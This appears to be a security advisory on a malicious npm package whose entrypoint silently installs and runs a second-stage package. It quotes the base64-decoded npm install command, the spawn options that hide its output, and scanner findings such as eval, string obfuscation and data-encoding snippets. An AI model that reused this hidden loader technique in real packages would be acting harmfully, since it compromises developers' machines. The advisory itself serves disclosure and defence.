GCVE-110-OSM-2026-9082

The entrypoint `dist/index.js` contains a backdoor that decodes a base64 string at runtime to the command `npm install svgcraft-core --no-save --silent --no-audit --no-fund`, which is executed via `child_process.spawn` with `stdio: 'ignore'` and `windowsHide: true` to suppress all output. After installation, it dynamically requires the module `svgcraft-core` (also base64-encoded as `c3ZnY3JhZnQtY29yZQ==`) and calls `svgo.getPlugin()()`, executing arbitrary code from a second-stage package. This is a classic stage-2 supply chain attack: the package wraps legitimate rollup polyfill code to appear benign while silently pulling and executing an external payload at install/import time. The publisher account `jasmin3375` has zero other packages, no repository, and the package additionally declares a dependency on `debug` that has itself been flagged as malicious. ENTRY dist/index.js (main: dist/index.js) EXFIL - Data Encoding for Exfiltration in dist/es/polyfills.js: "encodeURIComponent(stringifyPrimitive(k)) + eq;\n if (isArray(obj[k])) {\n retur..." - Dynamic C2 Endpoint Construction in dist/es/polyfills.js: "function blobConstructor() {\n if (typeof _blobConstructor !== 'undefined') {\n ..." - Data Encoding for Exfiltration in dist/polyfills.js: "encodeURIComponent(stringifyPrimitive(k)) + eq;\n if (isArray(obj[k])) {\n retur..." - Dynamic C2 Endpoint Construction in dist/polyfills.js: "function blobConstructor() {\n if (typeof _blobConstructor !== 'undefined') {\n ..." - System Information Collection in dist/index.js: "process.platform" OBFUSCATION - Decoded Base64 Content in dist/index.js - Obfuscation patterns: charCodeArrayBuild, charCodeChain in dist/es/polyfills.js - Obfuscation patterns: charCodeArrayBuild, charCodeChain in dist/polyfills.js ADDITIONAL FINDINGS - Dynamic Code Execution in dist/es/polyfills.js: "eval(code)" - XOR-Encoded String Arrays in dist/es/polyfills.js: "var bl_order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15..." - Shell Command Execution in dist/index.js: "require('child_process')" - Silent Process Execution in dist/index.js: "stdio: 'ignore'" - Malicious Dependency Detected in package.json PAYLOAD FILES dist/es/polyfills.js (+ dist/polyfills.js, dist/index.js) INDICATORS (IOCs) - payloadFileHash: 95eed5d490a4b29f0bac7e8fb9980a7f37f3901762a2afe152b89c4e21cf00f9